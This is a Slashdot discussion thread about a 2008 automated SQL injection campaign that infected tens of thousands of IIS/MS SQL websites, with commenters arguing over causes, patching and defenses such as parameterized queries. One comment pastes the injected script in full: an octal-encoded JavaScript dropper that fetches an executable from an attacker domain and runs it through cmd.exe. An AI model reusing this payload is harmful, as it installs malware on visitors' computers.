Slashdot Mirror
Mass Hack Infects Tens of Thousands of Sites
An anonymous reader writes "Tens of thousands of Web sites have been compromised by an automated SQL injection attack, and although some have been cleaned, others continue to serve visitors a malicious script that tries to hijack their PCs using multiple exploits, security experts said this weekend. Hacked sites included both .edu and .gov domains, the SANS Institute's Internet Storm Center reported in a warning posted last Friday. The ISC also reported that several pages of security vendor CA's Web site had been infected. Roger Thompson, the chief research officer at Grisoft, pointed out that the hacked sites could be found via a simple Google search for the domain that hosts the malicious JavaScript. On Saturday, said Thompson, the number of sites that had fallen victim to the attack numbered more than 70,000. 'This was a pretty good mass hack,' said Thompson, in a post to his blog." By Sunday a second round of the same attack had infected over 90,000 servers.
Think its bad now? Just wait for act two when they figure out how to hack The Gibson.
...those of you who thought "Awesome!"
I am no fan of malicious hacking, but my inner geek always stirs when I read something like this, much like watching someone in the real world accomplishing an amazing but insane feat, like those guys with the squirrel suits base-jumping, or something *cough*
Question, where any *nix or L*X machines compromised? Might be a dumb question, so bash me all you want if it was...
Seven Days with Ubuntu Unity
Woah, I was almost worried for a second before I read it was Microsoft specific!
My darling Apache and PostgreSQL may you never let evildoers overflow your fair buffers.
*wipes brow*
this kind of crap ain't gonna stop until we have a fundamental change in our approach to security: and that is we use a WHITELIST to authorize execution of the programs we trust and exclude EVERYTHING else.
trying to identify and exclude malware has fallen short of meeting our needs
and that demonstration continues week after week after week after week as the hacking gets worse and worse
if we are going to use the internet for business purposes this is UNACCEPTABLE. Change has to happen.
NO SIGNATURE? NO EXECUTE.
Add this simple rule:
Yaz.
Does anybody know the aim of the hack? Starting last saturday we saw a huge surge in incoming spam, with a peak yesterday (monday) at about 25 to 30% more spam than ever before. Today we see a lot less spam, almost at normal levels (normal being around 80-90% of all mail is spam :-S )
This is your sig. There are thousands more, but this one is yours.
The only thing I can figure is that either
The simple truth is that interstellar distances will not fit into the human imagination
- Douglas Adams
for people running MS servers to keep their systems patched. I mean...this is an old ass exploit. Are people really that afraid of their Windoze servers loosing stability that they don't even apply security updates?
Graduate students and most professors are no smarter than undergrads.
They're just older.
Willnotmakewindowsupdatejoke....willnotmakewindowsupdatejoke...
Wouldn't NoScript protect the Firefox users out there?
Speedy thing goes in; speedy thing comes out.
Reading the referenced article it seems to almost applaud the success of the attack. This isn't a "good" attack its a very bad attack in that it has been successful and could potentially inflict damage on thousands or even millions of users. Its like claiming that something was a very "good" fraud because it robbed thousands of old folks of their life savings.
Its a bad attack, its bad that its been successful and the people who did it are scum. These aren't some rebels fighting against the system they are criminal scum who are aiming to inflict damage on large numbers of people. Remember all those times when you have to clean up your parents/in-law/friends computers because they get compromised by this crap? Well the scum behind this have just given you a whole lot more time doing crappy boring work.
An Eye for an Eye will make the whole world blind - Gandhi
Doesn't mean that the 'bot can't be tweaked. I think that someone is using this as proof of concept.
The simple truth is that interstellar distances will not fit into the human imagination
- Douglas Adams
the problem is nothing that has to do with signed code. signing code "only" authenticates it and does not say that there are no security holes.
it has, however, something to do with specific precations not being taken: with selinux or apparmor for example this probably wouldn't have happended simply because they handle application privileges in a different (OMHO: better) way - through profiles.
The average person is not going to be able to tell the difference between "benware" and malware, especially if they are tired of clicking through dialog boxes to approve programs. They'll just ignore it like they ignore clickwraps.
There's not nearly enough digital signing, even from reputable sources, to make "No signatrue? No execute" work. You can't get the things you want by applying this policy, and because people don't apply the policy, nobody bothers to go through the effort of signing. You would need to have such a policy instituted by default by the machine itself in order for it to make any headway, but MS got skewered for their attempts to go in that direction.
I don't know. Have you seen some of the drivers on the road?
But yes, I agree. You should not operate a vehicle without knowing how to use it. And, just because you own a sports car, does not make you a professional drive.
I would like to see computer users with more knowledge and more security awareness. However, it is easy to throw some HTML/ASP/whatever on to a website. How can we let novice users create "secure" sites without banning them the web?
If at first you don't succeed, call it version 1.0.
Strange that CA and McAfee both had signatures detecting legit java script as infected last week. Just how closely do the virus writers and the "security" firms work together?
Another approach is to just block it in your HOSTS file:
127.0.0.1 uc8010.com
Or, even better, use an updated HOSTS file which has entries to block malicious sites: (on last check, this blocked over 16,000 addresses!): http://www.mvps.org/winhelp2002/hosts.zip
Description and explanation is here.
There appears to be more than one domain involved:
http://ddanchev.blogspot.com/2008/01/massive-realplayer-exploit-embedded.html
Also, as it works by exploiting holes in real player I'd assume it won't effect you if you don't have real player?
I'm just glad I replaced it with Real Alternative ages ago.
I guess what I'm saying is...give it a fucking break. As soon as you started ranting, I just started snickering cuz I see this pathetic act all the time and it amuses me. Oh, come back with some insults, cuz I don't care. that makes me laugh too. The funny thing about bullies is that they don't understand how no self-respecting person cares about their little psycho dumb shit insult games. Oh man, you've entertained me this morning...
I will gnaw my leg of if this dribble gets modded up.
Bot Assisted Blogging
SQL injection attacks are universal across database platforms. No matter what front-end and back-end you use for a database store, if you're building SQL command strings in memory with unscrubbed external inputs, you're liable for an attack. This attack relied on SQL Server's sysobjects table, but that wasn't the vulnerability, that was just the target.
http://ddanchev.blogspot.com/2008/01/massive-realplayer-exploit-embedded.html
If you search for "uc8010.com" in Google then click on the omit link at the bottom it shows about 94,000 "PAGES". Not Servers! One server had most of the pages infected. BTW, this is NOT a compromised 'SERVER'. The SQL database got injected with content but the actual server isn't compromised. This isn't news.
Thats funny, I recently complained to a US based, MidPhase about some Chinese scam site, uer168(dot)com. I noticed some similarity in the domain with the uc8010(dot)com domain from the article. The whois data is also much alike, at least the registrar is Xin Net Technology Corp. for both.
So far Midphase has refused to take the scam site off line, even though it's seems these Chinese crackers are affiliated.
Thank you for printing this statement. It is amazing how most "technical" people don't understand what a SQL injection attack is and that it is platform independent. These attacks have to be stopped in your front-end development and not in the database engine. If you are writing code that is this unsecure (especially in 2007) then you shouldn't be coding at all. Also the MDAC was patched more than a year ago. Why weren't the patches applied?
sounds like google's engine could mark these sites [INFECTED] on their index. would be a great added safeguard for unsuspecting victims...
This is a crack not a hack or I'am wrong?
So far, so good, it's still at 1.
I am astounded at the (much more than usual) level of misunderstanding of how the attack works. I've seen one correct comment, and much blathering idiocy!
Running LAMP might protect you from this particular attack only because it is looking for table/column information the MS-SQL way. If you aren't taking effective steps to prevent SQL injection (which has nothing to do with "gaining root"), only luck is keeping it from happening to your LAMP system.
A house divided against itself cannot stand.
Do you want to know what is even scarier?
In many corporate internal applications, SQL Injections are treated as if they do not exist. I have pointed out many times in several projects I have worked on that any malevolent person could do some very very nasty things. They don't care... "It's not open on the Internet". I just hope we'll never have a disgruntled employee that is a bit more geeky than the others.
*sigh*
Little Bobby Tables
Here are more details on how such an attack can take place, and the devastation it can cause.
These attacks have to be stopped in your front-end development and not in the database engine.
Just so you know, by front-end, he doesn't mean javascript only (or at least I hope not). Check for SQL injection in whatever language your programming in too. Use prepared statements if you're using Java.
I'll wager that it is the same camp of people who wait until they are absolutely forced to install service packs, because they don't want them to break their applications. Nothing worse than someone putting that bug in a small business "IT person's" ear... next thing you know none of their desktops have XP service pack 2 installed because they "heard it would break stuff"...
Your leg of what?
Sounds like a default installation attack on the sysobjects table. This is why I think wearing two hats or even three hats (insanity!) at a job is stupid because a designer or developer is not going to be a good server administrator and will fall prey to these kinds of attacks. If not on installation then because they won't have time to follow the news of new threats.
You've hit exactly on the real problem. I'm a sort of hobbyist web developer with no real training. I can hack together websites using ASP.Net and SQL server that work (that is do what they're supposed to do), but I have no idea how write secure websites. I don't even understand the sorts of attacks I should be expecting. Furthermore, the 'my first website' books I learnt from don't really cover this sort of stuff except in passing, and learning about security is frankly boring.
Sadly I don't have a solution, and I don't think there is one. Thinking along a public health analogy, advocating 'safe web programming' is difficult because its far less fun, and advocating abstainance for those who aren't qualified isn't going to work because, well you know what kids are like. Enforcing a ban is culturally unacceptable and impossible in any case.
http://www.mhall119.com
this hack is just another example of tricking the victim into executing un-authorized code
the block has to be at the java/parser so that when java is envoked to start parsing a code segment for any reason the first thing it does is look for the signature for that program
NO SIGNATURE? NO EXECUTE.
the days of running anything on anybody's computer need to come to an abrupt halt here
Yep. Perhaps worse (because a little bit of knowledge can be more dangerous than having none at all), on a recent application we had built for our team, we were told that we didn't have to worry about SQL injection or other similar attacks because our interface used Javascript to "validate" the input. The developers couldn't grasp the idea that a malicious user might craft their own HTTP requests to send to the server, and when I pointed that out, they told me that additional client interfaces were not in scope so they couldn't be bothered to create them. Idiots.
document.writeln("");
document.writeln("");
document.writeln("");
eval("\146\165\156\143\164\151\157\156\40\147\156\50\162\122\141\107\105\171\153\125\61\51\15\12\173\15\12\166\141\162\40\117\162\150\62\75\167\151\156\144\157\167\133\42\115\141\164\150\42\135\133\42\162\141\156\144\157\155\42\135\50\51\52\162\122\141\107\105\171\153\125\61\73\15\12\162\145\164\165\162\156\47\176\164\155\160\47\53\47\56\164\155\160\47\15\12\175\15\12\146\165\156\143\164\151\157\156\40\104\157\167\156\105\50\106\151\154\145\125\122\114\54\114\157\143\141\154\106\151\154\145\51\15\12\173\15\12\164\162\171\15\12\173\15\12\166\151\160\75\106\151\154\145\125\122\114\73\15\12\166\141\162\40\143\150\145\156\172\151\75\167\151\156\144\157\167\133\42\144\157\143\165\155\145\156\164\42\135\133\42\143\162\145\141\164\145\105\154\145\155\145\156\164\42\135\50\42\157\142\152\145\143\164\42\51\73\15\12\143\150\145\156\172\151\133\42\163\145\164\101\164\164\162\151\142\165\164\145\42\135\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\160\163\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\115\151\143\162\157\163\157\146\164\56\130\115\114\110\124\124\120\42\54\42\42\51\73\15\12\166\141\162\40\154\157\166\145\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\73\15\12\154\157\166\145\133\42\164\171\160\145\42\135\75\61\73\15\12\160\163\133\42\157\160\145\156\42\135\50\42\107\105\124\42\54\166\151\160\54\60\51\73\15\12\160\163\133\42\163\145\156\144\42\135\50\51\73\15\12\143\150\151\156\141\75\147\156\50\61\60\60\60\60\51\53\114\157\143\141\154\106\151\154\145\73\15\12\166\141\162\40\150\110\146\44\122\66\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\143\162\151\160\164\151\156\147\56\106\151\154\145\123\171\163\164\145\155\117\142\152\145\143\164\42\54\42\42\51\73\15\12\166\141\162\40\126\147\104\156\132\130\110\164\67\75\150\110\146\44\122\66\133\42\107\145\164\123\160\145\143\151\141\154\106\157\154\144\145\162\42\135\50\60\51\73\15\12\143\150\151\156\141\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\54\143\150\151\156\141\51\73\15\12\154\157\166\145\133\42\117\160\145\156\42\135\50\51\73\15\12\154\157\166\145\133\42\127\162\151\164\145\42\135\50\160\163\133\42\162\145\163\160\157\156\163\145\102\157\144\171\42\135\51\73\15\12\154\157\166\145\133\42\123\141\166\145\124\157\106\151\154\145\42\135\50\143\150\151\156\141\54\62\51\73\15\12\154\157\166\145\133\42\103\154\157\163\145\42\135\50\51\73\15\12\166\141\162\40\123\155\101\143\161\111\167\107\126\70\75\143\150\145\156\172\151\133\42\103\162\145\141\164\145\117\142\152\145\143\164\42\135\50\42\123\150\145\154\154\56\101\160\160\154\151\143\141\164\151\157\156\42\54\42\42\51\73\15\12\145\170\160\61\75\150\110\146\44\122\66\133\42\102\165\151\154\144\120\141\164\150\42\135\50\126\147\104\156\132\130\110\164\67\53\47\134\134\163\171\163\164\145\155\63\62\47\54\47\143\155\144\56\145\170\145\47\51\73\15\12\123\155\101\143\161\111\167\107\126\70\133\42\123\150\145\154\154\105\170\145\143\165\164\145\42\135\50\145\170\160\61\54\47\40\57\143\40\47\53\143\150\151\156\141\54\42\42\54\42\157\160\145\156\42\54\60\51\175\143\141\164\143\150\50\151\51\173\151\75\61\175\15\12\175\15\12\104\157\167\156\105\50\42\150\164\164\160\72\57\57\143\56\165\143\70\60\61\60\56\143\157\155\57\60\57\61\56\145\170\145\42\54\42\61\71\56\145\170\145\42\51\73")
Any idea?
Any recommendations for Open Source tools that check for SQL injection vulnerabilities in web forms?
Amusingly, with the set of services used in this exploit, it's possible to gain "root" access if the user the webapp is connecting to the database with has the SA role on the SQL server.
On a Microsoft SQL server, there's a system stored procedure called xp_cmdshell, this allows you to run arbitrary commands under the permissions of the account the database is running under. And because Microsoft requires the user running SQL server to be a local administrator for the service to start, you have gained "root" access.
You have to be an SA to do run this command (there are ways to give other access), so it's slightly limited. Although, I would be surprised if none of the affected machines webapps weren't connecting as sa...
Oh no way. Like where I work? My servers get hammered daily from our internal network because these idiots still have 60 updates to go before they bring all the windows desktops up to the current cycle.
My poor Solaris and Mysql logs get to look like an ebook when they are put into a pdf for examining. I got tired of requesting a security audit, so I can request a patch maintenance window. Went to the CIO and set it straight what can happen and he let me patch. Only 6 months after ! Damn slow moving corporate machines are not just MS based any more.
This package Does Not Contain a Winner
"Wouldn't NoScript protect the Firefox users out there?"
It's not clear from the article but the exploit seems to require Microsoft SQL Server, and on the client Internet Explorer and Windows to function. For instance would Firefox on Unbuntu be safe.
"tries to hijack their PCs using multiple exploits, security experts said this weekend"
davecb5620@gmail.com
"Another approach is to just block it in your HOSTS file:
.. blocks adverts too ...
Privoxy is a much for efficient solution
was Re:Protect yourself with HOSTS
davecb5620@gmail.com
You realize some might see this as a challenge? Wait, now that I responded, I can't mod that post up?!
What doesn't kill you only delays the inevitable
I noticed some supicious form posts on my own site over the past several days, coming form Harvard.edu. I had dismissed it at the time as being some random student spammer, but it looks like I may have been on their attack list.
The event logs didn't show the entire string they attempted to post, so at the time I wasn't able to track it back to the source HTML and JS files used. From what I can tell now, they seem to be using a botnet. The above is a permalink to my blog post in response to the event. As a potential victim, I will be researching the event. As I learn more I will add an additional post with a permalink in that post's comments.
...which is at least as likely as the other two theories you postulated:
c) This was a pimple-faced little script-monkey who came across a stale old "toolkit" and was just clever enough to automate the deployment of the SQL injection attack.
It's really easy to patch the RDS activeX control, and not so easy to manually correct old custom-written web apps. Just a sad commentary on how shipshod web development standards has been in the past, and the lasting legacy it has created. Sanitising user input is (or should be) "programming 101" stuff.
"Tens of thousands of websites belonging to Fortune 500 corporations, state government agencies and schools have been infected with malicious code that attempts to engage in click fraud and steal online game credentials from people who visit the destinations, security researches say"
davecb5620@gmail.com
'Uh - this attack didn't involve the execution of any "code"'
"Tens of thousands of websites belonging to Fortune 500 corporations, state government agencies and schools have been infected with malicious code that attempts to engage in click fraud and steal online game credentials from people who visit the destinations"
"The injections included javascript that redirected end users to the rogue site, which then attempted to exploit multiple vulnerabilities to install key-logging software that stole passwords for various online games"br>
was: Re:dumb or troll ? (Score:4, Excuse~1))
davecb5620@gmail.com
Remember all those times when you have to clean up your parents/in-law/friends computers because they get compromised by this crap?
Yeah. See, that makes us part of the problem. We are facilitating it by cleaning up after it.
Instead, it's time to do a mass computer intervention. The next time your parents/gf/bf/in-laws/friends call you to clean up their computer, tell them they are on their own. Suggest they purchase a Mac next time. Or, tell them you'll help them install Linux or your favorite BSD flavor, or even (if you are so inclined and so insane) Open Solaris. Explain that you cannot continue to enable their dependence on a terrible drug, and that it hurts you to watch them slowly destroy themselves.
C'mon, Slashdot! We have strength in numbers. Let's turn this epidemic around. We'll be saving the sanity and minds of our friends and family, giving ourselves back some free time, and generally helping the world.
This will help in other ways, too. Almost all spam is sent from MS-Windows zombies. Let's get our family clean first, and work on the rest later.
Microsoft is to software what Budweiser is to beer.
FTA: It's possible that only Microsoft SQL Server databases were hacked with this particular version of the robot since the script relies on the sysobjects table that this database contains."
I think that's a relevant aspect to report. This is yet another MS-based vulnerability. It also makes sense since IIS servers are more likely to be serving the much less secure IE client.
The solution is to use a higher level framework that will handle most of the security issues for you. My preference is Drupal which formulates db queries like this:
$r = db_query('SELECT * FROM {foo} WHERE a=%d AND b="%s"', $a, $b);
In this example, $a is converted to an integer (because of the %d) even if it came through CGI as a user request. $b is sanitized and will not allow the type of SQL injection that this article talks about (because of the %s). No worries about any security issues as long as you use the function as intended.
Not to mention that frameworks like Drupal have lots of other great features to help you build your site quickly.
Enjoy!
std::disclaimer<std::legalese> sig=new std::disclaimer; sig->dump(); delete sig;
Google search to show compromised servers:
.ASP applications written by boneheaded programmers who didn't sanitize their input.
http://www.google.com/search?q=src%3Dhttp%3A%2F%2Fc.uc8010
There may be more - I used a specific reference to c.uc8010. Right now, Google shows 24,000 infected pages.
It looks like all the servers are IIS. Running
This is the problem with programming. You can't "idiot proof" a web site if the biggest idiot is the guy you've hired to write the application.
Since the true vulnerabiluity is in the application passing the injection, does anyone know what common application(s) the vulnerable sites used?
Gee, I don't know. Maybe because it is the highest market share? Coincidentally, the same reason OS X is so "secure".
I've used un-scrubbed corporate app inputs to my advantage. At GE, we had two databases that didn't talk to each other. At all. We had to manually enter the data from one into the other line by line (why they paid engineers to do such mindless work is beyond me, maybe it's because we were on salary). Eventually, I figured out that the second database didn't get rid of things like HTML tags from the company front end app. So instead of entering the data line by line in the second database (which nobody ever used, except to print one form), I just wrote a script that output the appropriate HMTL table from the first database, and just pasted that into the "Comments" section of the second database. The result was a form that looked exactly like one that was entered line by line, but it took about two hours less to do it. It printed out fine, so none of the PHBs cared / knew the difference. Also, my method allowed people to do useful stuff like link to equipment data sheets and embed Goatse pictures before they resigned.
Serisouly, this is stupid. M$ has gone to great lengths to make it stupid easy to bind variables easy to use. Any developer working with System.Data should know better. Hell, any developer (period) should know better. PHP, Java, and pretty much every language that allows working with databases has a way to safely bind variables. Since this hack was targetd at M$ servers I'll give an example in C#...
To put is simply: if you're doing something like:
The code to secure the SQL you're sending the server to execute is so easy it huts. Now, follow me here...
I've seen too many "educated" developers attempt to do their own sql cleaning. Just assume you can't do it, because if you get it wrong your hosed - use the available libraries!
- I voted for Nintendo and against Bush
It's really easy. For example:
$stmt = $dbh->prepare("INSERT INTO theTable (value1, value2) VALUES (:value1,
$stmt->bindParam(':value1', $value1);
$stmt->bindParam(':value2', $value2);
$stmt->execute();
1. Not only were the effected applications susceptable to SQL Injection attacks they are also unecessarily succeeptable to XSS attack. How many more absoultely basic design problems need to occur before developers grow a clue and take responsibility for their own cluelessness?
... view based access controls can actually be very very powerful for enforcing access controls while preserving freedom of access... most people tend to ignore them. There is a difference between using prepared statements and calling stored procedures.
2. SQL Injection attacks work on all platforms. MySQL is actually much harder to secure against injection attacks because of the rediculously complicated array of escape sequences supported in the syntax and possible interactions between them. If you don't use the Mysql provided escape routine parser you most likely did not do it right whereas with sane RDBMS platforms such as Oracle and MSSQL its very easy.
3. Access to RDBMS metadata (sysobjects) the user is allowed access to is not a security risk. RDBMS platforms require it to work correctly.
4. Using stored procedures for everything to prevent mallicious interaction is no different than configuring read only access to tables. Unless your application is read-only..getting owned may take when hell of an automated bot to exploit but it does not mean you are more secure. As an aside
To everyone who claims this is an unchecked input into a script/web app/whatever: just read the source on a few of the infected pages, and try to come up with a common flaw that could be automated. Now, try to telnet into port 1433 of any of the affected sites (the ones still affected obviously). What is more likely?
This exploit should turn the little M$ tick down into a real trend. This is what happens when you try to use a badly designed consumer grade OS for web service. Let's hope companies take the hint and run back to Apache before something really bad happens.
People trying to pass the buck onto tens of thousands of individual programmers at tens of thousands of different institutions should ask yourselves why this has not happened with LAMP. If it was a market share thing, LAMP would have fallen long ago. It's not market share or users, it's a monoculture problem.
I don't see how your scenario is possible at all.
For a site about things like basic rights, Slashdot users sure do like to censor "dissent".
I don't know about "awesome," my first thoughts were along the lines of "oh...for fuck's sake..." and "how do I check?"
Type "uname -a". If you get "command not found", you have a problem.
Yes, it would be foolish and insulting to blame tens of thousands of programmers at tens of thousands of sites instead of the one tool they have in common.
there is nothing specific about this attack to MS SQL Server at all.
So tell me about mass exploits of LAMP.
The default installation of MSDE or MSSQL 2000 creates an SA account with an empty password, and is installed as an NT service with local admin rights.
From this you can determine that everyone who installs an MSDE-based product (the Office 2000 suite, especially Visio) creates a built-in admin exploit. There are likely still thousands of these installations out there.
John
Are you being serious?
SQL Injections have nothing to do with IIS or LAMP. It's just bad programmers.
There's a reason why nearly every PHP app in existence is plagued with constant ownership. It's name is sql injection (and misconfiguration by allowing global variable modification).
You're barking up the wrong tree here.
LOL are you serious?
Google for phpBB and "sql injection".
g phpbb "sql injection"
"Results 1 - 10 of about 226,000"
Or just google for any php app and "sql injection" and you get the same sort of thing.
PHP in particular seems designed to explicitly make it really easy to be pwned by the world.
The account that SQL Server runs as defaults to 'Local Service' nowadays. And the only special priv it needs is the privilege of 'start as service'.
In fact, its common practice to have your mssql server run as a local (non-domain) account, that has no privs, and is named 'SQLServer'.
In addition, MS SQL server by default doesnt even have an SA account, it runs in windows security mode, rather than mixed mode. And standard practice is to use a non-priv'd account for the webapp that only has data-read and data-write rights to one db for the webapp.
Yes, xp_cmdshell is disabled by default in SQL 2005, but do you seriously think every site is running SQL 2005 on their servers?
Now, on the SQL being a local administrator. In researching this one to show you where it says it, Microsoft seems to have change their guidelines since I last looked them up (and good for them, I'm gonna start pushing the new guidelines at work to the DBA team)
Years before, with SQL 2000 (And pretty much every bit of what I said applied to SQL 2000), Microsoft said you had to have setup the SQL service account as a local administrator on the machine. There are still some remnants of this policy: http://support.microsoft.com/kb/239885 Where it's explicitly said to make sure the user is a local administrator (NT4, SQL 2000 and SQL 7).
Now, Microsoft says "If you don't want the SQL service account to be a member of the local administrators group" (and they do recommend against it as well, but how many lazy admins are gonna do that...) You merely have to grant the account the following rights:
Act as Part of the Operating System = SeTcbPrivilege
Bypass Traverse Checking = SeChangeNotify
Lock Pages In Memory = SeLockMemory
Log on as a Batch Job = SeBatchLogonRight
Log on as a Service = SeServiceLogonRight
Replace a Process Level Token = SeAssignPrimaryTokenPrivilege
And make sure the file system and registry permissions are granted to your service account user.
Yes, MSSQL installs by default with only windows security mode enabled. So you have a few options for connecting your application to the DB:
1. Add the user the web app runs under to the SQL server, and used integrated security.
2. Turn on SQL security, and create a user for the application to use.
3. (seriously, I've seen this in my travels) Setup a COM+ component that does database access, running under the same account as the SQL server, so they "don't have to worry about permission problems"
I've seen programmers do all three in my time, depending on what they are more comfortable with. Sometimes, I see them just use the magical SA account, to login to the database. Again, having a proper DBA would prevent stupid things like this, but not every place has a proper DBA (or a person that can truly act like one part time)
I've seen all sorts of stupid things, including most of the above, some by admins that should know better, some by admins that have very little clue what a database is, and just "need to get this app working" Some were recommendations by the vendor of a product at the time of install. Many of these practices have gotten better over the years, but some have not.
Now, if you have only ever dealt with SQL 2005 (which is MUCH more secure by default, but still prone to admins and programmers doing stupid things, and no one can prevent that) Then yea, most of the stuff I said does not
apply.
Yea, you can probably set enough permissions to not require local admin rights, but seriously, the places we're talking about already are too lazy to sanitize database inputs, do you really thing all of their practices are top-notch security wise?
And so concludes another episode of "Hey, with how lazy some people are, I could see if happen."
In addition, many of the defaults and published guidelines on this stuff changed after slammer went around, in 2003. So thats been 5 years people have had to clean up their messes and adopt best practices.
In my world, we moved over to a 'best-practices' installations of IIS and SQL Server when we migrated to sql server 2000, which was the best part of 7 years ago. Yea, you can probably set enough permissions to not require local admin rights, but seriously, the places we're talking about already are too lazy to sanitize database inputs, do you really thing all of their practices are top-notch security wise? You dont have to do any work for this. Just tell the installer what service account you're using, and it grants all the privs and ntfs/registry acls you need. Years before, with SQL 2000 (And pretty much every bit of what I said applied to SQL 2000), Microsoft said you had to have setup the SQL service account as a local administrator on the machine. There are still some remnants of this policy: http://support.microsoft.com/kb/239885 Where it's explicitly said to make sure the user is a local administrator (NT4, SQL 2000 and SQL 7). Note that in that link, it says that the ms sql 2000 service account has to be a local admin ONLY on NT4.
Considering how long its been (years) since the current version of sql server released, and considering how much longer (even more years) the best practices were published for the previous version, I think its reasonable to focus on the current version.
If you look at 5 years old versions of products in any space right now, the products look alot crappier. Especially in the MS world, everything has changed since then.
Sure, I'm serious. I kind of thought the P stood for perl, but it does not seem to matter. Even when I add the keyword "mass" to your search, all I get is "might be" "could be". Can you point me to a real world mass SQL exploit outside of the M$ world? A quarter million Chicken Little search returns is not convincing.
Nearly every one of those links on the google search is to a known and published sql injection attack against phpbb. Thats pretty 'mass'. Try to administer a phpBB install of any popularity sometime, its a pretty miserable experience because of things like this.
If you mean a sql injection attack on the underlying technology (IIS, mssql, etc), then I think you're misunderstanding what a sql injection is.
It's not a problem with a technology, its a problem with applications, or implementations of technology to serve a purpose.
So the MS stack doesnt have a problem with sql injections, but a specific app built on that stack might. Same for PHP. PHP doesnt have sql injection problems (though it sure used to make it easy to do so, but its getting better a bit), but many, many, many apps built on PHP do have sql injection problems.
So yes, for real world mass sql injection attacks, just look at any number of popular php apps. They're pretty much the king for these at the moment. phpBB, Drupal, etc etc.
And again, focusing back on the original article and topic: this attack has nothing to do with ms sql server, or any perceived weaknesses in sql server. The developers of the attack script just happened to write non portable code for that stage of the attack, if they would have used ansi standard info schema views rather than ms-specific sysobjects tables, it would have worked on most any database.
So to recap, this whole thing is NOT a database attack vector, in any way. It is a SQL Injection attack vector (which is an app level problem), which just happens to use ms sql server in this incarnation.
I think when you're talking about 'mass sql exploit' you're thinking this is an exploitable vulnerability in the database server used. That would be incorrect. The db portion of this attack is entirely incidental.
If doing a google search to find affected sites, be sure to NOT use Google Toolbar's search box to search for the domain. It will recognize it as a URL and automatically forward to the site, despite the fact that Google itself has flagged the site as, "This site may harm your computer.", which you can see by doing a google search for: site:uc8010(dot)com uc8010(dot)com (with the '(dot)'s replaced with '.', obviously)